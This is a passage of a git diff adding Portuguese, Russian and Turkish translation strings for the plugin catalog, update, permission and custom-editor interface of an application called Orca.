possível carregar o catálogo de plugins.", + "catalogFailedBody": "Seus plugins instalados continuam funcionando.", + "sourceFailedTitle": "Não foi possível carregar este catálogo.", + "sourceFailedBody": "Seus plugins instalados continuam funcionando.", + "sources": "Fontes…", + "sourceStaleTitle": "Não foi possível atualizar este catálogo.", + "sourceStaleBody": "Mostrando a cópia de {{value0}}.", + "shownOf": "{{value0}} de {{value1}}" }, "pluginThemeApply": { "nowUsing": "Usando {{value0}}", @@ -9505,6 +9581,43 @@ "cancel": "Cancelar", "addFolder": "Adicionar pasta", "install": "Instalar" + }, + "PluginAddMenu": { + "add": "Adicionar plugin", + "folder": "De uma pasta…", + "git": "De uma URL do Git…", + "sources": "Fontes do catálogo…" + }, + "PluginSettingsOverview": { + "offTitle": "Os plugins estão desativados" + }, + "pluginContributions": { + "dark": "Escuro", + "light": "Claro", + "languageIncomplete": "{{value0}}% traduzido, incompleto demais para usar como idioma do Orca", + "languageCoverage": "Idioma da interface · {{value0}}% traduzido", + "newFileMenu": "Adiciona ao menu +" + }, + "PluginPageHero": { + "screenshots": "Capturas de tela", + "openScreenshot": "Abrir captura de tela: {{value0}}", + "position": "{{value0}} de {{value1}}", + "previous": "Captura anterior", + "next": "Próxima captura" + }, + "PluginContributionActionEvents": { + "worktreeCreated": "Quando um workspace é criado", + "worktreeRemoved": "Quando um workspace é removido", + "agentStatusChanged": "Quando o status de um agente muda", + "detail": "Código em segundo plano é executado" + }, + "PluginChips": { + "updateNeedsReview": "Atualização precisa de revisão", + "updatedTo": "Atualizado para {{value0}}", + "devUnverified": "Dev · não verificado" + }, + "PluginContributionActionNewFile": { + "create": "Criar" } }, "right": { @@ -13458,6 +13571,28 @@ }, "richMarkdownBlobImagePaste": { "saveFailed": "Não foi possível salvar a imagem colada ao lado do documento. Ela pode não carregar após reiniciar o Orca." + }, + "PluginFileTypeSuggestion": { + "message": "Um plugin pode abrir arquivos .{{value0}}: {{value1}}", + "view": "Ver plugin", + "notNow": "Agora não", + "never": "Não sugerir para .{{value0}}", + "editorMessage": "Um plugin adiciona um editor para arquivos .{{value0}}: {{value1}}" + }, + "PluginCustomEditorFrame": { + "loading": "Carregando editor…", + "unresponsive": "{{value0}} parou de responder. Mude para Código-fonte para continuar editando.", + "loadFailed": "Não foi possível carregar {{value0}}. Mude para Código-fonte para editar este arquivo.", + "editTooLarge": "Este arquivo é grande demais para {{value0}} salvar alterações. Use Código-fonte.", + "saveBlocked": "Não foi possível salvar as alterações mais recentes de {{value0}}.", + "editsHeld": "{{value0}} está enviando alterações rápido demais; o Orca aplicará a mais recente em breve.", + "largeFile": "Arquivo grande — pode levar um momento." + }, + "PluginBytesCustomEditorSurface": { + "retry": "Tentar novamente", + "tooLarge": "{{value0}} é grande demais para abrir no {{value1}} ({{value2}}; o limite é {{value3}}).", + "unsupported": "{{value0}} não consegue ler este arquivo de onde ele está armazenado. Atualize o servidor do Orca que o hospeda ou mude para Código-fonte.", + "readFailed": "Não foi possível ler {{value0}} para {{value1}}. {{value2}}" } }, "skills": { @@ -18155,7 +18290,8 @@ }, "pluginQuickActions": { "description": "Comando de plugin {{value0}}", - "keyword": "comando de plugin" + "keyword": "comando de plugin", + "newFileDescription": "Cria um arquivo {{value0}} sem título no workspace ativo." } } }, @@ -19331,6 +19467,10 @@ }, "PluginListRow": { "official": "Oficial" + }, + "PluginListGroup": { + "showAll": "Mostrar mais {{value0}}", + "showAllTotal": "Mostrar todos os {{value0}} plugins" } }, "native": { @@ -19763,6 +19903,13 @@ }, "pluginInstallCount": { "installs": "{{value0}} instalações" + }, + "PluginCatalogLinkDialog": { + "failed": "Não foi possível adicionar este catálogo.", + "title": "Adicionar o catálogo {{value0}}?", + "cancel": "Cancelar", + "add": "Adicionar catálogo", + "body": "Um link pediu para mostrar {{value0}} deste catálogo. Adicione catálogos apenas de pessoas em quem você confia." } } }, diff --git a/src/renderer/src/i18n/locales/ru.json b/src/renderer/src/i18n/locales/ru.json index 5757e78f9f1..055e01a6f51 100644 --- a/src/renderer/src/i18n/locales/ru.json +++ b/src/renderer/src/i18n/locales/ru.json @@ -1390,6 +1390,13 @@ "pluginNewFile": { "unavailable": "{{value0}} больше недоступен. Снова включите его плагин.", "failed": "Не удалось создать файл." + }, + "pluginAutoUpdates": { + "one": "{{value0}} обновлён до {{value1}}", + "many": "Обновлено плагинов: {{value0}}" + }, + "pluginInstallLink": { + "invalid": "Эта ссылка на плагин недействительна." } }, "lib": { @@ -9273,7 +9280,9 @@ "fbb428db98": "Выбрано:", "search_terminal_themes": "Поиск тем терминала", "cb330ef7f8": " из {{value0}}", - "c822571b2e": " по запросу «{{value0}}»" + "c822571b2e": " по запросу «{{value0}}»", + "plugin_themes": "Плагины", + "from_plugin": "Из {{value0}}" }, "SettingsSidebar": { "e0900f83e7": "SSH", @@ -12234,7 +12243,9 @@ "notificationsShow": "Показывать системные уведомления с именем плагина", "storage": "Хранить данные в собственной папке плагина", "secrets": "Хранить и читать секреты в собственном зашифрованном хранилище плагина", - "settingsOwn": "Читать и менять собственные настройки плагина" + "settingsOwn": "Читать и менять собственные настройки плагина", + "agentsRead": "Получать уведомления об изменении статуса агентов", + "terminalRun": "Выполнять команды в ваших терминалах, включая SSH" }, "decisionFailed": "Не удалось сохранить решение о разрешениях. Повторите попытку.", "fullAccessWarning": "Полный доступ: работает как обычная программа и может читать ваши файлы, использовать сеть и запускать другие программы.", @@ -12258,7 +12269,9 @@ "remove": "Удалить", "pathLabel": "Путь папки плагина разработки", "placeholder": "/Users/you/plugins/my-plugin или C:\\Users\\you\\plugins\\my-plugin", - "add": "Добавить путь" + "add": "Добавить путь", + "dialogTitle": "Папки разработки", + "reviewHelp": "Проверяется один раз. Последующие правки кода запускаются без запроса." }, "PluginInstallDialog": { "localRequired": "Введите путь папки плагина.", @@ -12341,11 +12354,16 @@ }, "PluginRemoveDialog": { "cancel": "Отмена", - "remove": "Удалить плагин" + "remove": "Удалить плагин", + "title": "Удалить {{value0}}?", + "description": "Его данные тоже будут удалены." }, "PluginRollbackDialog": { "cancel": "Отмена", - "confirm": "Откатить плагин" + "confirm": "Откатить плагин", + "title": "Откатить {{value0}}?", + "description": "Восстанавливает предыдущую версию.", + "descriptionVersion": "Восстанавливает версию {{value0}}." }, "PluginsSettingsSection": { "systemLabel": "Система плагинов", @@ -12360,7 +12378,10 @@ "title": "Плагины", "description": "Устанавливайте плагины Orca и управляйте ими. Плагины работают на этом компьютере даже для рабочих пространств SSH.", "logsFailed": "Не удалось загрузить журналы плагина.", - "rollbackFailed": "Не удалось откатить плагин. Возможно, предыдущая неизменяемая версия недоступна." + "rollbackFailed": "Не удалось откатить плагин. Возможно, предыдущая неизменяемая версия недоступна.", + "alpha": "Альфа", + "fileTypeSuggestionsLabel": "Предлагать плагины для неизвестных файлов", + "restartFailed": "Не удалось перезапустить {{value0}}." }, "PluginSettingsRow": { "loadingLogs": "Загрузка журналов…", @@ -12372,7 +12393,8 @@ "viewLogs": "Показать журналы", "disableLabel": "Выключить {{value0}}", "enableLabel": "Включить {{value0}}", - "invalidPluginError": "Манифест или установленные файлы плагина некорректны. Исправьте плагин и обновите список." + "invalidPluginError": "Манифест или установленные файлы плагина некорректны. Исправьте плагин и обновите список.", + "syntaxFailed": "Подсветка остановлена: эта грамматика дала сбой." }, "PluginVmRecipeConsentPreview": { "create": "Создать", @@ -12403,7 +12425,8 @@ "install": "установить плагин", "permissions": "разрешения плагина", "logs": "журналы плагина", - "development": "плагины разработки" + "development": "плагины разработки", + "aliases": "plugins mods extensions плагины моды расширения" } }, "LinearAgentSkillGuide": { @@ -13349,7 +13372,28 @@ } }, "PluginUpdateAllDialog": { - "review": "Проверить" + "review": "Проверить", + "previewError": "Не удалось прочитать это обновление", + "newAccess": "Новое: {{value0}}", + "failed": "Не удалось обновить {{value0}}. Остальные обновлены.", + "cancel": "Отмена", + "updateOne": "Обновить 1 плагин", + "updateMany": "Обновить плагины: {{value0}}", + "failedAll": "Не удалось обновить {{value0}}. Ничего не обновлено.", + "close": "Закрыть", + "retry": "Повторить", + "updated": "Обновлено", + "needsOrca": "Требуется Orca {{value0}} или новее", + "current": "Уже установлено", + "sourceMoved": "Новый источник: {{value0}} (было {{value1}})", + "newShortcuts": "Сочетания клавиш", + "newCommands": "Команды", + "newPanels": "Панели", + "newEvents": "Больше событий", + "newRecipes": "Рецепты машин", + "newContributions": "Функции, действующие от вашего имени", + "allAccess": "Показать весь доступ", + "update": "Обновить" }, "PluginUpdateReview": { "title": "Проверка обновления {{value0}}", @@ -13383,7 +13427,8 @@ }, "PluginContributionActionPanel": { "open": "Открыть панель", - "openName": "Открыть панель: {{value0}}" + "openName": "Открыть панель: {{value0}}", + "needsWorkspace": "Нужно открытое рабочее пространство" }, "PluginContributionActionSyntax": { "openExtension": "Открыть любой файл {{value0}}", @@ -13394,7 +13439,10 @@ "updated": "Обновлено", "license": "Лицензия", "whatsNew": "Что нового", - "installs": "Установки" + "installs": "Установки", + "hashCopied": "Хеш содержимого скопирован", + "hashCopyFailed": "Не удалось скопировать хеш.", + "readme": "Читать README на {{value0}}" }, "PluginDetailPage": { "back": "Плагины", @@ -13405,7 +13453,20 @@ "requiresValue": "Orca {{value0}} или новее", "categories": "Категории", "pluginId": "ID плагина", - "repository": "Репозиторий" + "repository": "Репозиторий", + "bundled": "Входит в состав Orca", + "localFolder": "Локальная папка", + "gitUrl": "URL Git", + "stoppedTitle": "Остановлен после ошибки", + "stoppedBody": "Он постоянно падал. Перезапустите, чтобы попробовать снова.", + "invalidTitle": "Orca не может загрузить этот плагин", + "needsOrcaTitle": "Требуется Orca {{value0}} или новее", + "needsOrcaBody": "У вас Orca {{value0}}.", + "newerTitle": "Доступна более новая версия", + "newerBody": "Каталог изменился, пока вы были на этой странице.", + "showNewer": "Показать новую", + "stoppedDataBody": "Не удалось загрузить его файлы. Перезапустите, чтобы попробовать снова.", + "alsoListedBy": "Также есть в {{value0}}. Обновления приходят только из каталога, из которого он установлен; чтобы сменить каталог, удалите плагин и установите заново." }, "PluginDetailSections": { "typeLanguagePack": "Язык интерфейса", @@ -13424,7 +13485,12 @@ "accessLoading": "Чтение плагина…", "accessFailed": "Не удалось прочитать доступ", "retry": "Повторить", - "customEditor": "Редактор" + "customEditor": "Редактор", + "panel": "Панель боковой панели", + "recipe": "Рецепт машины", + "logs": "Журналы", + "copyLogs": "Копировать", + "noAccessReach": "Ничего за пределами собственных файлов" }, "PluginFilterPopover": { "kind": "Категория", @@ -13453,7 +13519,9 @@ "replacesShortcut": "{{value0}} ({{value1}}) заменяет ваше сочетание клавиш для «{{value2}}».", "updatesKeepApproval": "Обновления спрашивают снова только о новом доступе", "fullAccessUpdates": "Обновления могут менять его код без запроса", - "editsFileTypes": "Открывает и редактирует файлы {{value0}} в Orca. Может читать открытые им файлы." + "editsFileTypes": "Открывает и редактирует файлы {{value0}} в Orca. Может читать открытые им файлы.", + "install": "Установить и включить", + "keepOff": "Оставить выключенным" }, "PluginListEmptyStates": { "noFilterMatches": "Нет плагинов, подходящих под эти фильтры", @@ -13474,7 +13542,18 @@ "updateAll": "Обновить все…", "notFromCatalog": "не из каталога", "allInstalledTitle": "Все плагины из каталога установлены", - "showInstalled": "Показать установленные плагины" + "showInstalled": "Показать установленные плагины", + "verified": "проверен", + "unverified": "не проверен", + "catalogLoading": "Каталог", + "catalogFailedTitle": "Не удалось загрузить каталог плагинов.", + "catalogFailedBody": "Установленные плагины продолжают работать.", + "sourceFailedTitle": "Не удалось загрузить этот каталог.", + "sourceFailedBody": "Установленные плагины продолжают работать.", + "sources": "Источники…", + "sourceStaleTitle": "Не удалось обновить этот каталог.", + "sourceStaleBody": "Показана копия от {{value0}}.", + "shownOf": "{{value0}} из {{value1}}" }, "PluginManagerRows": { "reinstall": "Переустановить", @@ -13495,7 +13574,14 @@ "rollbackTo": "Откатить до {{value0}}…", "copyContentHash": "Копировать хеш содержимого", "reviewUpdate": "Проверить обновление", - "dataLoadFailed": "Не удалось загрузить его файлы" + "dataLoadFailed": "Не удалось загрузить его файлы", + "copied": "ID плагина скопирован", + "copyFailed": "Не удалось скопировать ID плагина.", + "details": "Подробности", + "unverified": "Не проверен", + "updateAvailable": "доступно обновление {{value0}}", + "updateNeedsReview": "обновление {{value0}} требует проверки", + "updatedTo": "обновлён до {{value0}}" }, "pluginInstallAction": { "installed": "{{value0}} установлен", @@ -13533,7 +13619,10 @@ "PluginThemeUseNow": { "assignedLight": "{{value0}} установлена как светлая тема", "assignedDark": "{{value0}} установлена как тёмная тема", - "saveFailed": "Не удалось сохранить тему. Повторите попытку." + "saveFailed": "Не удалось сохранить тему. Повторите попытку.", + "label": "Использовать сейчас:", + "useForLight": "Для светлой темы:", + "useForDark": "Для тёмной темы:" }, "PluginInstallTrustDialog": { "titleFolder": "Убедитесь, что доверяете этой папке", @@ -13552,6 +13641,83 @@ "cancel": "Отмена", "addFolder": "Добавить папку", "install": "Установить" + }, + "AppearanceInterfaceSection": { + "pluginIconTheme": { + "title": "Тема значков", + "description": "Значки файлов и папок из включённого плагина.", + "builtIn": "Встроенная" + } + }, + "PluginAddMenu": { + "add": "Добавить плагин", + "folder": "Из папки…", + "git": "По URL Git…", + "sources": "Источники каталогов…" + }, + "PluginSettingsOverview": { + "offTitle": "Плагины отключены" + }, + "pluginContributions": { + "dark": "Тёмная", + "light": "Светлая", + "languageIncomplete": "Переведено {{value0}}% — слишком мало, чтобы использовать как язык Orca", + "languageCoverage": "Язык интерфейса · переведено {{value0}}%", + "newFileMenu": "Добавляет пункты в меню +" + }, + "PluginPageAction": { + "failedTitle": "Не удалось установить {{value0}}", + "contentOnly": "Только содержимое" + }, + "PluginSettingsMenu": { + "label": "Настройки плагинов", + "development": "Папки разработки…", + "autoUpdateLabel": "Обновлять плагины автоматически", + "autoUpdateHint": "Повторно спрашивает только о новом доступе" + }, + "PluginPageHero": { + "screenshots": "Снимки экрана", + "openScreenshot": "Открыть снимок экрана: {{value0}}", + "position": "{{value0}} из {{value1}}", + "previous": "Предыдущий снимок экрана", + "next": "Следующий снимок экрана" + }, + "PluginContributionActionCommand": { + "run": "Запустить", + "runName": "Запустить {{value0}}", + "ran": "{{value0}} выполнено", + "failed": "{{value0}}: ошибка", + "seeLogs": "См. журналы ниже", + "needsWorkspace": "Нужно открытое рабочее пространство" + }, + "PluginContributionActionEvents": { + "worktreeCreated": "При создании рабочего пространства", + "worktreeRemoved": "При удалении рабочего пространства", + "agentStatusChanged": "При изменении статуса агента", + "detail": "Запускается фоновый код" + }, + "PluginChips": { + "updateNeedsReview": "Обновление требует проверки", + "updatedTo": "Обновлён до {{value0}}", + "devUnverified": "Разработка · не проверен" + }, + "PluginsAlphaNotice": { + "label": "Альфа:", + "body": "Интерфейс плагинов может измениться. Возможны шероховатости.", + "dismiss": "Скрыть уведомление об альфа-версии" + }, + "PluginStatus": { + "needsReview": "Требует проверки", + "restarting": "Перезапуск", + "stopped": "Остановлен", + "cantLoad": "Не загружается", + "off": "Выкл.", + "running": "Работает", + "on": "Вкл.", + "blocked": "Заблокирован" + }, + "PluginContributionActionNewFile": { + "create": "Создать" } }, "right": { @@ -17149,6 +17315,28 @@ }, "richMarkdownBlobImagePaste": { "saveFailed": "Не удалось сохранить вставленное изображение рядом с документом. Оно может не загрузиться после перезапуска Orca." + }, + "PluginFileTypeSuggestion": { + "message": "Плагин может открывать файлы .{{value0}}: {{value1}}", + "view": "Открыть плагин", + "notNow": "Не сейчас", + "never": "Не предлагать для .{{value0}}", + "editorMessage": "Плагин добавляет редактор для файлов .{{value0}}: {{value1}}" + }, + "PluginCustomEditorFrame": { + "loading": "Загрузка редактора…", + "unresponsive": "{{value0}} не отвечает. Переключитесь на «Исходный код», чтобы продолжить редактирование.", + "loadFailed": "Не удалось загрузить {{value0}}. Переключитесь на «Исходный код», чтобы редактировать файл.", + "editTooLarge": "Файл слишком большой, чтобы {{value0}} мог сохранить изменения. Используйте «Исходный код».", + "saveBlocked": "Не удалось сохранить последние изменения из {{value0}}.", + "editsHeld": "{{value0}} отправляет изменения слишком часто; Orca вскоре применит последнее.", + "largeFile": "Большой файл — это может занять некоторое время." + }, + "PluginBytesCustomEditorSurface": { + "retry": "Повторить", + "tooLarge": "{{value0}} слишком велик, чтобы открыть его в {{value1}} ({{value2}}; ограничение — {{value3}}).", + "unsupported": "{{value0}} не может прочитать этот файл из места хранения. Обновите сервер Orca, на котором он находится, или переключитесь на «Исходный код».", + "readFailed": "Не удалось прочитать {{value0}} для {{value1}}. {{value2}}" } }, "diff": { @@ -17480,7 +17668,8 @@ }, "pluginQuickActions": { "description": "Команда плагина {{value0}}", - "keyword": "команда плагина" + "keyword": "команда плагина", + "newFileDescription": "Создать безымянный файл {{value0}} в активном рабочем пространстве." } } }, @@ -18805,6 +18994,10 @@ }, "PluginListRow": { "official": "Официальный" + }, + "PluginListGroup": { + "showAll": "Показать ещё {{value0}}", + "showAllTotal": "Показать все плагины ({{value0}})" } }, "terminalPane": { @@ -19260,6 +19453,13 @@ }, "pluginInstallCount": { "installs": "Установок: {{value0}}" + }, + "PluginCatalogLinkDialog": { + "failed": "Не удалось добавить этот каталог.", + "title": "Добавить каталог {{value0}}?", + "cancel": "Отмена", + "add": "Добавить каталог", + "body": "Ссылка запросила показ {{value0}} из этого каталога. Добавляйте каталоги только от тех, кому доверяете." } } }, diff --git a/src/renderer/src/i18n/locales/tr.json b/src/renderer/src/i18n/locales/tr.json index 7e65d7a51b9..4c482fb493b 100644 --- a/src/renderer/src/i18n/locales/tr.json +++ b/src/renderer/src/i18n/locales/tr.json @@ -1322,6 +1322,13 @@ "pluginNewFile": { "unavailable": "{{value0}} artık kullanılamıyor. Eklentisini yeniden açın.", "failed": "Dosya oluşturulamadı." + }, + "pluginAutoUpdates": { + "one": "{{value0}}, {{value1}} sürümüne güncellendi", + "many": "{{value0}} eklenti güncellendi" + }, + "pluginInstallLink": { + "invalid": "Bu eklenti bağlantısı geçerli değil." } }, "lib": { @@ -8901,7 +8908,9 @@ "fbb428db98": "Seçili:", "search_terminal_themes": "Terminal temalarında ara", "cb330ef7f8": " / {{value0}}", - "c822571b2e": " \"{{value0}}\" ile eşleşen" + "c822571b2e": " \"{{value0}}\" ile eşleşen", + "plugin_themes": "Eklentiler", + "from_plugin": "{{value0}} kaynağından" }, "SettingsSidebar": { "e0900f83e7": "SSH", @@ -11860,7 +11869,9 @@ "notificationsShow": "Eklenti adıyla etiketlenmiş masaüstü bildirimleri gösterir", "storage": "Eklentinin kendi depolama klasöründe veri saklar", "secrets": "Eklentinin kendi şifreli kasasında gizli bilgileri saklar ve okur", - "settingsOwn": "Eklentinin kendi ayarlarını okur ve değiştirir" + "settingsOwn": "Eklentinin kendi ayarlarını okur ve değiştirir", + "agentsRead": "Ajan durumu değiştiğinde bildirim al", + "terminalRun": "Terminallerinizde komut çalıştırma (SSH dahil)" }, "decisionFailed": "İzin kararı kaydedilemedi. Tekrar deneyin.", "fullAccessWarning": "Tam erişim: normal bir program gibi çalışır; dosyalarınızı okuyabilir, ağı kullanabilir ve başka programlar çalıştırabilir.", @@ -11884,7 +11895,9 @@ "remove": "Kaldır", "pathLabel": "Geliştirme eklentisi klasör yolu", "placeholder": "/Users/you/plugins/my-plugin veya C:\\Users\\you\\plugins\\my-plugin", - "add": "Yol ekle" + "add": "Yol ekle", + "dialogTitle": "Geliştirme klasörleri", + "reviewHelp": "Bir kez incelenir. Sonraki kod değişiklikleri sormadan çalışır." }, "PluginInstallDialog": { "localRequired": "Eklenti klasörü yolunu girin.", @@ -11967,11 +11980,16 @@ }, "PluginRemoveDialog": { "cancel": "İptal", - "remove": "Eklentiyi kaldır" + "remove": "Eklentiyi kaldır", + "title": "{{value0}} kaldırılsın mı?", + "description": "Verileri de kaldırılır." }, "PluginRollbackDialog": { "cancel": "İptal", - "confirm": "Eklentiyi geri al" + "confirm": "Eklentiyi geri al", + "title": "{{value0}} geri alınsın mı?", + "description": "Önceki sürümü geri yükler.", + "descriptionVersion": "{{value0}} sürümünü geri yükler." }, "PluginsSettingsSection": { "systemLabel": "Eklenti sistemi", @@ -11986,7 +12004,10 @@ "title": "Eklentiler", "description": "Orca eklentilerini yükleyin ve yönetin. Eklentiler, SSH çalışma alanları için bile bu bilgisayarda çalışır.", "logsFailed": "Eklenti günlükleri yüklenemedi.", - "rollbackFailed": "Bu eklenti geri alınamadı. Önceki değiştirilemez bir sürüm mevcut olmayabilir." + "rollbackFailed": "Bu eklenti geri alınamadı. Önceki değiştirilemez bir sürüm mevcut olmayabilir.", + "alpha": "Alfa", + "fileTypeSuggestionsLabel": "Bilinmeyen dosyalar için eklenti öner", + "restartFailed": "{{value0}} yeniden başlatılamadı." }, "PluginSettingsRow": { "loadingLogs": "Günlükler yükleniyor…", @@ -11998,7 +12019,8 @@ "viewLogs": "Günlükleri görüntüle", "disableLabel": "{{value0}} eklentisini devre dışı bırak", "enableLabel": "{{value0}} eklentisini etkinleştir", - "invalidPluginError": "Eklenti manifest'i veya yüklü dosyalar geçersiz. Eklentiyi düzeltip yenileyin." + "invalidPluginError": "Eklenti manifest'i veya yüklü dosyalar geçersiz. Eklentiyi düzeltip yenileyin.", + "syntaxFailed": "Vurgulama durdu: bu dil bilgisi başarısız oldu." }, "PluginVmRecipeConsentPreview": { "create": "Oluştur", @@ -12029,7 +12051,8 @@ "install": "eklenti yükle", "permissions": "eklenti izinleri", "logs": "eklenti günlükleri", - "development": "geliştirme eklentileri" + "development": "geliştirme eklentileri", + "aliases": "plugins mods extensions eklentiler modlar uzantılar" } }, "LinearAgentSkillGuide": { @@ -12969,7 +12992,28 @@ } }, "PluginUpdateAllDialog": { - "review": "İncele" + "review": "İncele", + "previewError": "Bu güncelleme okunamadı", + "newAccess": "Yeni: {{value0}}", + "failed": "{{value0}} güncellenemedi. Diğerleri güncellendi.", + "cancel": "İptal", + "updateOne": "1 eklentiyi güncelle", + "updateMany": "{{value0}} eklentiyi güncelle", + "failedAll": "{{value0}} güncellenemedi. Hiçbir şey güncellenmedi.", + "close": "Kapat", + "retry": "Tekrar dene", + "updated": "Güncellendi", + "needsOrca": "Orca {{value0}} veya üzeri gerekir", + "current": "Zaten yüklü", + "sourceMoved": "Yeni kaynak: {{value0}} (önceki: {{value1}})", + "newShortcuts": "Klavye kısayolları", + "newCommands": "Komutlar", + "newPanels": "Paneller", + "newEvents": "Daha fazla olay", + "newRecipes": "Makine tarifleri", + "newContributions": "Sizin adınıza işlem yapan özellikler", + "allAccess": "Tüm erişimi gör", + "update": "Güncelle" }, "PluginUpdateReview": { "title": "{{value0}} güncellemesini incele", @@ -13003,7 +13047,8 @@ }, "PluginContributionActionPanel": { "open": "Paneli aç", - "openName": "Paneli aç: {{value0}}" + "openName": "Paneli aç: {{value0}}", + "needsWorkspace": "Açık bir çalışma alanı gerekir" }, "PluginContributionActionSyntax": { "openExtension": "Herhangi bir {{value0}} dosyası aç", @@ -13014,7 +13059,10 @@ "updated": "Güncellendi", "license": "Lisans", "whatsNew": "Yenilikler", - "installs": "Yüklemeler" + "installs": "Yüklemeler", + "hashCopied": "İçerik özeti kopyalandı", + "hashCopyFailed": "Özet kopyalanamadı.", + "readme": "README dosyasını {{value0}} üzerinde okuyun" }, "PluginDetailPage": { "back": "Eklentiler", @@ -13025,7 +13073,20 @@ "requiresValue": "Orca {{value0}} veya üstü", "categories": "Kategoriler", "pluginId": "Eklenti kimliği", - "repository": "Depo" + "repository": "Depo", + "bundled": "Orca ile birlikte gelir", + "localFolder": "Yerel klasör", + "gitUrl": "Git URL’si", + "stoppedTitle": "Bir hatadan sonra durduruldu", + "stoppedBody": "Sürekli çöktü. Yeniden denemek için yeniden başlatın.", + "invalidTitle": "Orca bu eklentiyi yükleyemiyor", + "needsOrcaTitle": "Orca {{value0}} veya üzeri gerekir", + "needsOrcaBody": "Sizdeki sürüm: Orca {{value0}}.", + "newerTitle": "Daha yeni bir sürüm var", + "newerBody": "Siz buradayken katalog değişti.", + "showNewer": "Yenisini göster", + "stoppedDataBody": "Dosyaları yüklenemedi. Yeniden denemek için yeniden başlatın.", + "alsoListedBy": "{{value0}} tarafından da listeleniyor. Güncellemeler yalnızca yüklendiği katalogdan gelir; değiştirmek için kaldırıp yeniden yükleyin." }, "PluginDetailSections": { "typeLanguagePack": "Arayüz dili", @@ -13044,7 +13105,12 @@ "accessLoading": "Eklenti okunuyor…", "accessFailed": "Erişim bilgisi okunamadı", "retry": "Tekrar dene", - "customEditor": "Düzenleyici" + "customEditor": "Düzenleyici", + "panel": "Kenar çubuğu paneli", + "recipe": "Makine tarifi", + "logs": "Günlükler", + "copyLogs": "Kopyala", + "noAccessReach": "Kendi dosyaları dışında hiçbir şey" }, "PluginFilterPopover": { "kind": "Kategori", @@ -13073,7 +13139,9 @@ "replacesShortcut": "{{value0}} ({{value1}}), {{value2}} için kısayolunuzun yerini alır.", "updatesKeepApproval": "Güncellemeler yalnızca yeni erişim için tekrar sorar", "fullAccessUpdates": "Güncellemeler kodunu sormadan değiştirebilir", - "editsFileTypes": "Orca'da {{value0}} dosyalarını açar ve düzenler. Açtığı dosyaları okuyabilir." + "editsFileTypes": "Orca'da {{value0}} dosyalarını açar ve düzenler. Açtığı dosyaları okuyabilir.", + "install": "Yükle ve etkinleştir", + "keepOff": "Kapalı tut" }, "PluginListEmptyStates": { "noFilterMatches": "Bu filtrelerle eşleşen eklenti yok", @@ -13094,7 +13162,18 @@ "updateAll": "Tümünü güncelle…", "notFromCatalog": "katalog dışı", "allInstalledTitle": "Katalogdaki tüm eklentiler yüklü", - "showInstalled": "Yüklü eklentileri göster" + "showInstalled": "Yüklü eklentileri göster", + "verified": "doğrulandı", + "unverified": "doğrulanmadı", + "catalogLoading": "Katalog", + "catalogFailedTitle": "Eklenti kataloğu yüklenemedi.", + "catalogFailedBody": "Yüklü eklentileriniz çalışmaya devam eder.", + "sourceFailedTitle": "Bu katalog yüklenemedi.", + "sourceFailedBody": "Yüklü eklentileriniz çalışmaya devam eder.", + "sources": "Kaynaklar…", + "sourceStaleTitle": "Bu katalog yenilenemedi.", + "sourceStaleBody": "{{value0}} tarihli kopya gösteriliyor.", + "shownOf": "{{value0}} / {{value1}}" }, "PluginManagerRows": { "reinstall": "Yeniden yükle", @@ -13115,7 +13194,14 @@ "rollbackTo": "{{value0}} sürümüne geri al…", "copyContentHash": "İçerik karmasını kopyala", "reviewUpdate": "Güncellemeyi incele", - "dataLoadFailed": "Dosyaları yüklenemedi" + "dataLoadFailed": "Dosyaları yüklenemedi", + "copied": "Eklenti kimliği kopyalandı", + "copyFailed": "Eklenti kimliği kopyalanamadı.", + "details": "Ayrıntılar", + "unverified": "Doğrulanmadı", + "updateAvailable": "{{value0}} güncellemesi var", + "updateNeedsReview": "{{value0}} güncellemesinin incelenmesi gerekiyor", + "updatedTo": "{{value0}} sürümüne güncellendi" }, "pluginInstallAction": { "installed": "{{value0}} yüklendi", @@ -13153,7 +13239,10 @@ "PluginThemeUseNow": { "assignedLight": "{{value0}} açık temanız olarak ayarlandı", "assignedDark": "{{value0}} koyu temanız olarak ayarlandı", - "saveFailed": "Tema kaydedilemedi. Yeniden deneyin." + "saveFailed": "Tema kaydedilemedi. Yeniden deneyin.", + "label": "Şimdi kullan:", + "useForLight": "Açık tema için kullan:", + "useForDark": "Koyu tema için kullan:" }, "PluginInstallTrustDialog": { "titleFolder": "Bu klasöre güvendiğinizden emin olun", @@ -13172,6 +13261,83 @@ "cancel": "İptal", "addFolder": "Klasör ekle", "install": "Yükle" + }, + "AppearanceInterfaceSection": { + "pluginIconTheme": { + "title": "Simge teması", + "description": "Etkin bir eklentiden gelen dosya ve klasör simgeleri.", + "builtIn": "Yerleşik" + } + }, + "PluginAddMenu": { + "add": "Eklenti ekle", + "folder": "Bir klasörden…", + "git": "Bir Git URL’sinden…", + "sources": "Katalog kaynakları…" + }, + "PluginSettingsOverview": { + "offTitle": "Eklentiler kapalı" + }, + "pluginContributions": { + "dark": "Koyu", + "light": "Açık", + "languageIncomplete": "%{{value0}} çevrildi; Orca’nın dili olarak kullanmak için fazla eksik", + "languageCoverage": "Arayüz dili · %{{value0}} çevrildi", + "newFileMenu": "+ menüsüne ekler" + }, + "PluginPageAction": { + "failedTitle": "{{value0}} yüklenemedi", + "contentOnly": "Yalnızca içerik" + }, + "PluginSettingsMenu": { + "label": "Eklenti ayarları", + "development": "Geliştirme klasörleri…", + "autoUpdateLabel": "Eklentileri otomatik güncelle", + "autoUpdateHint": "Yalnızca yeni erişim için yeniden sorar" + }, + "PluginPageHero": { + "screenshots": "Ekran görüntüleri", + "openScreenshot": "Ekran görüntüsünü aç: {{value0}}", + "position": "{{value0}} / {{value1}}", + "previous": "Önceki ekran görüntüsü", + "next": "Sonraki ekran görüntüsü" + }, + "PluginContributionActionCommand": { + "run": "Çalıştır", + "runName": "{{value0}} çalıştır", + "ran": "{{value0}} çalıştırıldı", + "failed": "{{value0}} başarısız oldu", + "seeLogs": "Aşağıdaki günlüklere bakın", + "needsWorkspace": "Açık bir çalışma alanı gerekir" + }, + "PluginContributionActionEvents": { + "worktreeCreated": "Bir çalışma alanı oluşturulduğunda", + "worktreeRemoved": "Bir çalışma alanı kaldırıldığında", + "agentStatusChanged": "Bir ajanın durumu değiştiğinde", + "detail": "Arka plan kodu çalışır" + }, + "PluginChips": { + "updateNeedsReview": "Güncellemenin incelenmesi gerekiyor", + "updatedTo": "{{value0}} sürümüne güncellendi", + "devUnverified": "Geliştirme · doğrulanmadı" + }, + "PluginsAlphaNotice": { + "label": "Alfa:", + "body": "Eklenti arayüzü değişebilir. Bazı pürüzler olabilir.", + "dismiss": "Alfa bildirimini kapat" + }, + 